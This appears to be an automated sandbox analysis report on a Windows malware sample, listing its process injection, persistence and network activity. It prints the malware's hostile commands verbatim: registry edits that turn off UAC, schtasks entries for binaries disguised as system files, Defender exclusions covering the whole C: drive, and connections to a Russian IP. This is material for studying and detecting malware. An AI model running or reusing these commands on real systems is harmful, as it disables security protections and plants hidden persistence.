PID 2956 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1060 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1212 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\cmd.exe
PID 2956 wrote to memory of 1212 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\cmd.exe
PID 2956 wrote to memory of 1212 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\cmd.exe
PID 1212 wrote to memory of 2628 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 1212 wrote to memory of 2628 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 1212 wrote to memory of 2628 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 1212 wrote to memory of 932 N/A C:\Windows\System32\cmd.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 1212 wrote to memory of 932 N/A C:\Windows\System32\cmd.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 1212 wrote to memory of 932 N/A C:\Windows\System32\cmd.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 932 wrote to memory of 1944 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 932 wrote to memory of 1944 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 932 wrote to memory of 1944 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 932 wrote to memory of 632 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 932 wrote to memory of 632 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 932 wrote to memory of 632 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 1944 wrote to memory of 2928 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 1944 wrote to memory of 2928 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 1944 wrote to memory of 2928 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 2928 wrote to memory of 1308 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 2928 wrote to memory of 1308 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 2928 wrote to memory of 1308 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 2928 wrote to memory of 2856 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 2928 wrote to memory of 2856 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 2928 wrote to memory of 2856 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe
PID 1308 wrote to memory of 2000 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 1308 wrote to memory of 2000 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 1308 wrote to memory of 2000 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe
PID 2000 wrote to memory of 1556 N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Windows\System32\WScript.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "77177c57df58a82f289add0cf57ea320_NeikiAnalytics7" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Defender\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "77177c57df58a82f289add0cf57ea320_NeikiAnalytics" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "77177c57df58a82f289add0cf57ea320_NeikiAnalytics7" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Defender\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\services.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\services.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "servicess" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\services.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Windows\Tasks\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\Tasks\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\Windows\Tasks\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\dllhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\NSYlrSDHvc.bat"

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\df05749b-c94a-476d-a081-047e5740dd50.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0e449166-312f-4a96-948d-454e69cd4488.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ead6ea0-b8fa-4f8a-941f-ddd9fe778879.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c33fb198-4d93-4b09-92fe-0d4b8d7cd14b.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a0ce475e-3b5c-4019-874a-e6e9956c7aec.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8bdcd86d-968a-4d15-b021-fd669d5de177.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a9d2c230-cd90-4b4d-bef2-cda5bc7b696c.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e9d74cfe-6e63-4790-a116-a98c0cba4e7e.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4578d820-2196-4807-8aa1-d5ef17846719.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e268aaf4-7551-4e63-b7cf-c5181cc67c16.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7987e51e-b237-4c21-81a0-ec1103874081.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\efa4cdb9-e6f3-4885-bea2-fe85dfe7509d.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3a3b81ec-fd6d-4a47-a8a4-99e1c70d3700.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c5d8313e-ae13-4961-80be-e0249bac97ad.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6989dedd-1733-4474-98ae-52ae672c66a8.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9ca974ef-38c4-49d8-952f-8d155dbf3157.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\89bbda9a-40f1-4c53-89c9-8b118e97a2ca.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bce22cb9-15f5-4814-b3dd-2efee98889ac.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c53fb3ab-c954-423b-bb9c-b94a59af7adb.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2b0d570b-4e5d-4ad0-827b-8dcbebf755dc.vbs"

C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe

"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe"

Network

Country Destination Domain Proto
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp

Files

memory/2956-0-0x000007FEF5A73000-0x000007FEF5A74000-memory.dmp

memory/2956-1-0x00000000011F0000-0x00000000014D6000-memory.dmp

memory/2956-2-0x000007FEF5A70000-0x000007FEF645C000-memory.dmp

memory/2956-3-0x0000000000150000-0x000000000016C000-memory.dmp

memory/2956-4-0x0000000000460000-0x0000000000468000-memory.dmp

memory/2956-5-0x0000000000470000-0x0000000000480000-memory.dmp

memory/2956-6-0x0000000000480000-0x0000000000496000-memory.dmp

memory/2956-7-0x00000000004A0000-0x00000000004A8000-memory.dmp

memory/2956-8-0x00000000004C0000-0x00000000004C8000-memory.dmp

memory/2956-9-0x00000000004D0000-0x00000000004E0000-memory.dmp

memory/2956-10-0x00000000004B0000-0x00000000004BA000-memory.dmp

memory/2956-11-0x0000000000A90000-0x0000000000AE6000-memory.dmp

memory/2956-12-0x0000000000AE0000-0x0000000000AEC000-memory.dmp

memory/2956-13-0x0000000000AF0000-0x0000000000AF8000-memory.dmp

memory/2956-14-0x0000000000B00000-0x0000000000B0C000-memory.dmp

memory/2956-15-0x0000000000B10000-0x0000000000B22000-memory.dmp

memory/2956-16-0x0000000000B40000-0x0000000000B48000-memory.dmp

memory/2956-17-0x0000000000BD0000-0x0000000000BD8000-memory.dmp

memory/2956-18-0x0000000000BE0000-0x0000000000BEA000-memory.dmp

memory/2956-19-0x0000000000BF0000-0x0000000000BFE000-memory.dmp

memory/2956-20-0x0000000000C00000-0x0000000000C08000-memory.dmp

memory/2956-21-0x0000000000C10000-0x0000000000C1E000-memory.dmp

memory/2956-22-0x0000000000C20000-0x0000000000C2C000-memory.dmp

memory/2956-23-0x0000000000C30000-0x0000000000C38000-memory.dmp

memory/2956-24-0x0000000000C40000-0x0000000000C4A000-memory.dmp

